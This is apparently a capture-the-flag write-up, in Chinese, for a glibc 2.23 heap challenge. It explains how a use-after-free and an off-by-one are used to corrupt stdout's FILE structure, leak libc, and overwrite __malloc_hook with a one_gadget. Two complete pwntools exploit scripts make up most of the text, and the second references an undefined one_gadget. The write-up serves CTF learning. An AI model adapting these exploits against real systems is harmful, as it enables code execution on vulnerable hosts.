libc是2.23
菜单
add
free
显然是有uaf。
edit
就是输入
输入函数其实还有off by one。
有个后门
我们的思路就是简单的说因为有uaf但是没有show,所以我们就直接攻击stdout,但是又因为后门给了我们地址,所以就解决了爆破这个问题。然后就攻击IO_FILE泄露libc,再攻击malloc_hook就好啦。
第一个exp是利用off by one来构造的。
exp
from pwn import *
r = process("./pwn1")
context.arch='amd64'
elf=ELF("./pwn1")
libc=ELF("./libc.so.6")
def add(index,size):
r.sendlineafter(">> \n",'1')
r.sendlineafter("input index:\n",str(index))
r.sendlineafter("input size:\n",str(size))
def free(index):
r.sendlineafter(">> \n",'2')
r.sendlineafter("input index:\n",str(index))
def edit(index,context):
r.sendlineafter(">> \n",'3')
r.sendlineafter("input index:\n",str(index))
r.sendlineafter("input context:\n",context)
def gift():
r.sendlineafter(">> \n",'666')
gift()
stdout = int(r.recv(8),16) + 0xc04620 - 0x894810
add(0,0x28)
add(1,0x30)
add(2,0x60)
add(3,0x20)
edit(0,'a'*0x28+'\xb1')
free(1)
free(2)
add(4,0x30)
edit(2,p64(stdout-0x43)[0:2])
add(5,0x60)
add(6,0x60)
edit(6,'a'*3+p64(0) * 6 + p64(0xfbad1877) + p64(0) * 3 + '\x58')
libc_base=u64(r.recv(6).ljust(8,b'\x00'))-131-libc.sym['_IO_2_1_stdout_']
free_hook=libc_base+libc.sym['__free_hook']
system = libc_base+libc.sym['system']
malloc_hook = libc_base+libc.sym['__malloc_hook']
one_gadget = libc_base + 0x4527a
realloc = libc_base+libc.sym['realloc']
add(7,0x60)
add(8,0x60)
free(8)
edit(8,p64(malloc_hook-0x23))
add(0,0x60)
add(1,0x60)
edit(1,'a'*11 + p64(one_gadget) + p64(realloc+13))
add(2,0x20)
r.interactive()
第二个exp没有使用off by one,仅仅用uaf来构造攻击IO_FILE的chunk。
exp
from pwn import*
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
def add(index, size):
r.sendlineafter(">> \n", "1")
r.sendlineafter("input index:\n", str(index))
r.sendlineafter("input size:\n", str(size))
def delete(index):
r.sendlineafter(">> \n", "2")
r.sendlineafter("input index:\n", str(index))
def edit(index, content):
r.sendlineafter(">> \n", "3")
r.sendlineafter("input index:\n", str(index))
r.sendlineafter("input context:\n", content)
def exp():
r.sendlineafter(">> \n", "666")
r.recvuntil("0x")
s = int(r.recv(6), 16) + 0x36fe10 - 0x43
print hex(s)
add(0, 0x80)
add(1, 0x80)
add(2, 0x68)
add(3, 0x68)
add(4, 0x68)
add(5, 0x68)
delete(0)
delete(1)
delete(2)
add(0, 0xf0)
edit(0, 'a' * 0x80 + p64(0) + p64(0x1e1))
delete(1)
add(6, 0x80)
delete(6)
add(6, 0x90)
edit(6, 'a' * 0x80 + p64(0) + p64(0x71))
edit(2, p16(s & 0xffff))
add(6, 0x68)
add(7, 0x68)
edit(7, '\x00' * 0x33 + p64(0xfbad1800) + p64(0) * 3 + '\x58')
libc_base = u64(r.recvuntil('\x7f')[-6:] + '\x00\x00') - 0x3c56a3
print "libc_base = " + hex(libc_base)
print "success!"
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
delete(4)
edit(3, p64(malloc_hook - 0x23))
add(3, 0x60)
add(4, 0x60)
edit(4,'a'*11 + p64(one_gadget) + p64(realloc+13))
add(5,0x20)
r.interactive()
r = process('./pwn1')
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6")
exp()
但是其实人家原题的意思可能是想用house of roman。
但是我感觉没啥用。
要注意的是一个坑
在设置flag标志位的时候要设置成0xfbad1877,否则会没输出。